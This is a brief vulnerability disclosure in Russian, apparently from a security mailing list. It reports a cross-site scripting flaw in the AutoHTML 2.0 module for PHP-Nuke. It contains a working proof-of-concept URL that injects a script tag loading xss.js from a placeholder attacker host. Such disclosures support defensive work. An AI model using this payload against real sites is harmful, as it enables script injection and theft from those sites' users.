Cross-Site Scripting vulnerability in AutoHTML for PHP-Nuke

Здравствуйте 3APA3A!

Сообщаю вам о найденных мною Cross-Site Scripting уязвимости в AutoHTML для PHP-Nuke.

XSS:

http://site/autohtml.php?filename=%3Cscript%20src=http://hacker_site/xss.js%20

Уязвима версия PHP-Nuke AutoHTML Module 2.0 (и потенциально другие версии).

Дополнительная информация о данной уязвимости у меня на сайте:
http://websecurity.com.ua/2151/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua